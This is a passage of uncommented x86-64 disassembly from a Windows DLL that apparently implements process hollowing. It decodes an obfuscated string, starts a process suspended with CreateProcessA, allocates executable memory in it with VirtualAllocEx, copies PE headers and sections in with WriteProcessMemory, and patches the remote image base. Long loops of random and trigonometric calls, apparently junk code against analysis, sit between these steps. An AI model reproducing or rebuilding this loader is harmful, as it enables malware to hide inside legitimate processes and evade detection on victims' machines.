lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x180005290
lea rdx, [rbp - 0x48]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov r12, qword [rbp - 0x58]
cmp dword [r12], 0x4550
jne 0x180007394
movups xmm0, xmmword [0x18001edc8]
movups xmmword [rbp + 0x360], xmm0
movups xmm1, xmmword [0x18001edd8]
movups xmmword [rbp + 0x370], xmm1
mov r9d, r15d
cmp ebx, 2
jl 0x180005521
movdqa xmm5, xmmword [0x18001f110]
mov edx, r15d
movdqa xmm6, xmmword [0x18001f1c0]
movdqa xmm7, xmmword [0x18001f1d0]
movdqa xmm8, xmmword [str.ffff]
movdqa xmm9, xmmword [0x18001f1e0]
movdqa xmm0, xmmword [0x18001f190]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x360]
mov r8d, 4
mov r9d, r8d
mov r10d, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm5
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm13
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, r10d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
movd xmm0, r8d
pshufd xmm0, xmm0, 0
paddd xmm0, xmm5
movdqa xmm3, xmm0
punpckldq xmm3, xmm0
pmuldq xmm3, xmm6
punpckhdq xmm0, xmm0
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
movd xmm0, r9d
pshufd xmm0, xmm0, 0
paddd xmm0, xmm5
paddd xmm3, xmm0
psrad xmm3, 6
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm13
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm13
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm1, xmm2
movd xmm0, r10d
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
add r9d, 8
cmp edx, 0x20
jl 0x180005380
jmp 0x180005578
lea r10, [rbp + 0x360]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0x5f5f5f5f
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
sub cl, r8b
add cl, 0x1f
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x20
jl 0x180005530
lea rax, [rbp + 0x390]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x630]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180007394
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x4170]
call fcn.180010660
mov dword [rbp + 0x440], 0xffffff9c
mov dword [rbp + 0x444], 0x64
movdqa xmm0, xmmword [0x18001f1a0]
movups xmmword [rbp + 0x520], xmm0
mov dword [rsp + 0x50], r15d
movsd qword [rsp + 0x58], xmm10
lea rcx, [rbp - 0x80]
call fcn.180001b20
mov qword [rbp + 0x1c8], 0x64
lea r8, [rbp + 0x1c8]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x70]
call fcn.180011380
lea rcx, [rbp + 0x478]
call fcn.180001ec0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x478], xmm1
mov qword [rbp + 0x488], r15
lea rcx, [rbp + 0x1d0]
call fcn.1800113a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x58], rcx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x478]
call fcn.180010590
nop
lea rcx, [rbp + 0x58]
call fcn.180010570
nop
lea rcx, [rbp + 0x1d0]
call fcn.180010570
lea rcx, [rbp + 0x1d8]
call fcn.1800113d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x60], rcx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x478]
call fcn.180010590
nop
lea rcx, [rbp + 0x60]
call fcn.180010570
nop
lea rcx, [rbp + 0x1d8]
call fcn.180010570
lea rcx, [rbp + 0x1e0]
call fcn.180011400
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x68], rcx
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x478]
call fcn.180010590
nop
lea rcx, [rbp + 0x68]
call fcn.180010570
nop
lea rcx, [rbp + 0x1e0]
call fcn.180010570
lea rcx, [rbp + 0x1e8]
call fcn.180011430
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x70], rcx
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x478]
call fcn.180010590
nop
lea rcx, [rbp + 0x70]
call fcn.180010570
nop
lea rcx, [rbp + 0x1e8]
call fcn.180010570
lea rcx, [rbp + 0x1f0]
call fcn.180011460
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x78], rcx
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x478]
call fcn.180010590
nop
lea rcx, [rbp + 0x78]
call fcn.180010570
nop
lea rcx, [rbp + 0x1f0]
call fcn.180010570
lea rcx, [rbp + 0x1f8]
call fcn.180011490
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x80], rcx
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x478]
call fcn.180010590
nop
lea rcx, [rbp + 0x80]
call fcn.180010570
nop
lea rcx, [rbp + 0x1f8]
call fcn.180010570
lea rcx, [rbp + 0x200]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
movsd xmm6, qword [0x18001f0c0]
test al, al
jns 0x180005b1f
mov esi, 0x186a0
nop dword [rax]
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x440]
call fcn.1800112e0
mov rbx, qword [rbp + 0x480]
sub rbx, qword [rbp + 0x478]
sar rbx, 3
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x440]
call fcn.1800112e0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x478]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x440]
call fcn.1800112e0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call rbx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x520]
call fcn.1800114c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x520]
call fcn.1800114c0
movaps xmm1, xmm5
call fcn.180001d40
movsd xmm1, qword [rsp + 0x58]
addsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x520]
call fcn.1800114c0
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x520]
call fcn.1800114c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x500]
call fcn.180010c30
nop
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x500]
call fcn.180001cb0
lea rcx, [rbp + 0x5f8]
call fcn.180001ec0
lea rcx, [rbp + 0x5f8]
call fcn.180010710
nop
lea rax, [rbp + 0x440]
mov qword [rbp + 0x320], rax
lea rax, [rbp + 0x4170]
mov qword [rbp + 0x328], rax
movaps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rbp - 0x80], xmm0
lea r8, [rbp - 0x80]
mov rdx, qword [rbp + 0x600]
mov rcx, qword [rbp + 0x5f8]
call fcn.180011540
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x5f8]
call fcn.180001dc0
mov rdx, qword [rbp + 0x600]
mov rcx, qword [rbp + 0x5f8]
call fcn.1800115a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x440]
call fcn.1800112e0
mov ebx, eax
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x440]
call fcn.1800112e0
mov r8d, ebx
mov edx, eax
call fcn.180001e90
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x440]
test al, 1
jne 0x180005a19
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180005a28
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov edi, 5
nop dword [rax]
mov ebx, r15d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x440]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x4170]
lea rcx, [rbp + 0x520]
call fcn.1800114c0
movsd xmm5, qword [rsp + 0x58]
addsd xmm0, xmm5
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x4170]
test bl, 1
jne 0x180005aa5
lea rcx, [rbp + 0x440]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180005ac6
movsd xmm5, qword [rsp + 0x58]
lea rcx, [rbp + 0x520]
call fcn.1800114c0
addsd xmm0, xmm12
divsd xmm5, xmm0
movsd qword [rsp + 0x58], xmm5
inc ebx
cmp ebx, 5
jl 0x180005a40
sub rdi, 1
jne 0x180005a30
lea rcx, [rbp + 0x5f8]
call fcn.1800106b0
nop
lea rcx, [rbp + 0x500]
call fcn.180010b40
sub rsi, 1
jne 0x180005800
lea rcx, [rbp + 0x200]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
test al, al
js 0x1800057f4
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x478]
call fcn.1800105c0
lea rax, [rbp + 0x628]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x3b0]
xor edx, edx
mov rcx, qword [rbp + 0x390]
call r14
mov r8d, dword [r12 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x388], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x5500]
call fcn.180010660
mov dword [rbp + 0x438], 0xffffff9c
mov dword [rbp + 0x43c], 0x64
movdqa xmm0, xmmword [0x18001f1a0]
movups xmmword [rbp + 0x590], xmm0
mov dword [rsp + 0x50], r15d
movsd qword [rsp + 0x58], xmm10
lea rcx, [rbp - 0x80]
call fcn.180001b20
mov qword [rbp + 0x208], 0x64
lea r8, [rbp + 0x208]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x70]
call fcn.180011380
lea rcx, [rbp + 0x490]
call fcn.180001ec0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x490], xmm1
mov qword [rbp + 0x4a0], r15
lea rcx, [rbp + 0x210]
call fcn.1800113a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x88], rcx
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x490]
call fcn.180010590
nop
lea rcx, [rbp + 0x88]
call fcn.180010570
nop
lea rcx, [rbp + 0x210]
call fcn.180010570
lea rcx, [rbp + 0x218]
call fcn.1800113d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x90], rcx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x490]
call fcn.180010590
nop
lea rcx, [rbp + 0x90]
call fcn.180010570
nop
lea rcx, [rbp + 0x218]
call fcn.180010570
lea rcx, [rbp + 0x220]
call fcn.180011400
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0x98], rcx
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x490]
call fcn.180010590
nop
lea rcx, [rbp + 0x98]
call fcn.180010570
nop
lea rcx, [rbp + 0x220]
call fcn.180010570
lea rcx, [rbp + 0x228]
call fcn.180011430
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0xa0], rcx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x490]
call fcn.180010590
nop
lea rcx, [rbp + 0xa0]
call fcn.180010570
nop
lea rcx, [rbp + 0x228]
call fcn.180010570
lea rcx, [rbp + 0x230]
call fcn.180011460
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0xa8], rcx
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x490]
call fcn.180010590
nop
lea rcx, [rbp + 0xa8]
call fcn.180010570
nop
lea rcx, [rbp + 0x230]
call fcn.180010570
lea rcx, [rbp + 0x238]
call fcn.180011490
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rbp + 0xb0], rcx
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x490]
call fcn.180010590
nop
lea rcx, [rbp + 0xb0]
call fcn.180010570
nop
lea rcx, [rbp + 0x238]
call fcn.180010570
lea rcx, [rbp + 0x240]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
test al, al
jns 0x1800060ff
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x438]
call fcn.1800112e0
mov rbx, qword [rbp + 0x498]
sub rbx, qword [rbp + 0x490]
sar rbx, 3
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x438]
call fcn.1800112e0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x490]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x438]
call fcn.1800112e0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call rbx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x590]
call fcn.1800114c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x590]
call fcn.1800114c0
movaps xmm1, xmm5
call fcn.180001d40
movsd xmm1, qword [rsp + 0x58]
addsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x590]
call fcn.1800114c0
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x590]
call fcn.1800114c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x500]
call fcn.180010c30
nop
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x500]
call fcn.180001cb0
lea rcx, [rbp + 0x610]
call fcn.180001ec0
lea rcx, [rbp + 0x610]
call fcn.180010710
nop
lea rax, [rbp + 0x438]
mov qword [rbp + 0x310], rax
lea rax, [rbp + 0x5500]
mov qword [rbp + 0x318], rax
movaps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp - 0x80], xmm0
lea r8, [rbp - 0x80]
mov rdx, qword [rbp + 0x618]
mov rcx, qword [rbp + 0x610]
call fcn.180011540
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x610]
call fcn.180001dc0
mov rdx, qword [rbp + 0x618]
mov rcx, qword [rbp + 0x610]
call fcn.1800115a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x438]
call fcn.1800112e0
mov ebx, eax
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x438]
call fcn.1800112e0
mov r8d, ebx
mov edx, eax
call fcn.180001e90
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x438]
test al, 1
jne 0x180005ff9
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180006008
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov edi, 5
nop dword [rax]
mov ebx, r15d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x438]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x5500]
lea rcx, [rbp + 0x590]
call fcn.1800114c0
movsd xmm5, qword [rsp + 0x58]
addsd xmm0, xmm5
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x5500]
test bl, 1
jne 0x180006085
lea rcx, [rbp + 0x438]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x1800060a6
movsd xmm5, qword [rsp + 0x58]
lea rcx, [rbp + 0x590]
call fcn.1800114c0
addsd xmm0, xmm12
divsd xmm5, xmm0
movsd qword [rsp + 0x58], xmm5
inc ebx
cmp ebx, 5
jl 0x180006020
sub rdi, 1
jne 0x180006010
lea rcx, [rbp + 0x610]
call fcn.1800106b0
nop
lea rcx, [rbp + 0x500]
call fcn.180010b40
sub rsi, 1
jne 0x180005de0
lea rcx, [rbp + 0x240]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
test al, al
js 0x180005dd2
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x490]
call fcn.1800105c0
mov rdx, qword [rbp + 0x388]
test rdx, rdx
je 0x180007394
mov r9d, dword [r12 + 0x54]
mov qword [rsp + 0x20], r15
mov r15, qword [rbp - 0x50]
mov r8, qword [r15]
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp - 0x70]
movsxd r14, dword [rax + 0x3c]
add r14, qword [r15]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x6890]
call fcn.180010660
mov dword [rbp + 0x430], 0xffffff9c
mov dword [rbp + 0x434], 0x64
movdqa xmm0, xmmword [0x18001f1a0]
movups xmmword [rbp + 0x570], xmm0
xor ebx, ebx
mov dword [rsp + 0x50], ebx
movsd qword [rsp + 0x58], xmm10
lea rcx, [rbp - 0x70]
call fcn.180001b20
mov qword [rbp + 0x248], 0x64
lea r8, [rbp + 0x248]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.180011380
lea rcx, [rbp + 0x4a8]
call fcn.180001ec0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
mov qword [rbp + 0x4b8], rbx
lea rcx, [rbp + 0x250]
call fcn.1800113a0
nop
mov rcx, qword [rax]
mov qword [rax], rbx
mov qword [rbp + 0xb8], rcx
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x4a8]
call fcn.180010590
nop
lea rcx, [rbp + 0xb8]
call fcn.180010570
nop
lea rcx, [rbp + 0x250]
call fcn.180010570
lea rcx, [rbp + 0x258]
call fcn.1800113d0
nop
mov rcx, qword [rax]
mov qword [rax], rbx
mov qword [rbp + 0xf0], rcx
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x4a8]
call fcn.180010590
nop
lea rcx, [rbp + 0xf0]
call fcn.180010570
nop
lea rcx, [rbp + 0x258]
call fcn.180010570
lea rcx, [rbp + 0x260]
call fcn.180011400
nop
mov rcx, qword [rax]
mov qword [rax], rbx
mov qword [rbp + 0xc8], rcx
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x4a8]
call fcn.180010590
nop
lea rcx, [rbp + 0xc8]
call fcn.180010570
nop
lea rcx, [rbp + 0x260]
call fcn.180010570
lea rcx, [rbp + 0x268]
call fcn.180011430
nop
mov rcx, qword [rax]
mov qword [rax], rbx
mov qword [rbp + 0xd0], rcx
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x4a8]
call fcn.180010590
nop
lea rcx, [rbp + 0xd0]
call fcn.180010570
nop
lea rcx, [rbp + 0x268]
call fcn.180010570
lea rcx, [rbp + 0x270]
call fcn.180011460
nop
mov rcx, qword [rax]
mov qword [rax], rbx
mov qword [rbp + 0xd8], rcx
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x4a8]
call fcn.180010590
nop
lea rcx, [rbp + 0xd8]
call fcn.180010570
nop
lea rcx, [rbp + 0x270]
call fcn.180010570
lea rcx, [rbp + 0x278]
call fcn.180011490
nop
mov rcx, qword [rax]
mov qword [rax], rbx
mov qword [rbp + 0xe0], rcx
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x4a8]
call fcn.180010590
nop
lea rcx, [rbp + 0xe0]
call fcn.180010570
nop
lea rcx, [rbp + 0x278]
call fcn.180010570
lea rcx, [rbp + 0x280]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
test al, al
jns 0x1800066d5
xor r13d, r13d
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x430]
call fcn.1800112e0
mov rbx, qword [rbp + 0x4b0]
sub rbx, qword [rbp + 0x4a8]
sar rbx, 3
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x430]
call fcn.1800112e0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x4a8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x430]
call fcn.1800112e0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call rbx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x570]
call fcn.1800114c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x570]
call fcn.1800114c0
movaps xmm1, xmm5
call fcn.180001d40
movsd xmm1, qword [rsp + 0x58]
addsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x570]
call fcn.1800114c0
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x570]
call fcn.1800114c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x500]
call fcn.180010c30
nop
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x500]
call fcn.180001cb0
lea rcx, [rbp + 0x5b0]
call fcn.180001ec0
lea rcx, [rbp + 0x5b0]
call fcn.180010710
nop
lea rax, [rbp + 0x430]
mov qword [rbp + 0x300], rax
lea rax, [rbp + 0x6890]
mov qword [rbp + 0x308], rax
movaps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp - 0x70]
mov rdx, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x5b0]
call fcn.180011540
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x5b0]
call fcn.180001dc0
mov rdx, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x5b0]
call fcn.1800115a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x430]
call fcn.1800112e0
mov ebx, eax
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x430]
call fcn.1800112e0
mov r8d, ebx
mov edx, eax
call fcn.180001e90
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x430]
test al, 1
jne 0x1800065c9
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x1800065d8
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov edi, 5
nop dword [rax]
mov ebx, r13d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x430]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x6890]
lea rcx, [rbp + 0x570]
call fcn.1800114c0
movsd xmm5, qword [rsp + 0x58]
addsd xmm0, xmm5
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x6890]
test bl, 1
jne 0x180006655
lea rcx, [rbp + 0x430]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180006676
movsd xmm5, qword [rsp + 0x58]
lea rcx, [rbp + 0x570]
call fcn.1800114c0
addsd xmm0, xmm12
divsd xmm5, xmm0
movsd qword [rsp + 0x58], xmm5
inc ebx
cmp ebx, 5
jl 0x1800065f0
sub rdi, 1
jne 0x1800065e0
lea rcx, [rbp + 0x5b0]
call fcn.1800106b0
nop
lea rcx, [rbp + 0x500]
call fcn.180010b40
sub rsi, 1
jne 0x1800063b0
lea rcx, [rbp + 0x280]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
test al, al
js 0x1800063a1
mov r13, qword [rbp - 0x60]
xor ebx, ebx
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x4a8]
call fcn.1800105c0
mov edi, ebx
cmp bx, word [r12 + 6]
jae 0x180006738
lea rbx, [r14 + 0x11c]
xor r14d, r14d
nop dword [rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, qword [r15]
mov edx, dword [rbx - 8]
add rdx, qword [rbp + 0x388]
mov qword [rsp + 0x20], r14
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rbx, [rbx + 0x28]
inc edi
movzx eax, word [r12 + 6]
cmp edi, eax
jl 0x180006700
jmp 0x18000673b
xor r14d, r14d
mov rdx, qword [rbp + 0x3b8]
add rdx, 0x10
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rbp + 0x388]
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2de0]
call fcn.180010660
mov dword [rbp + 0x420], 0xffffff9c
mov dword [rbp + 0x424], 0x64
movdqa xmm0, xmmword [0x18001f1a0]
movups xmmword [rbp + 0x4f0], xmm0
mov dword [rsp + 0x50], r14d
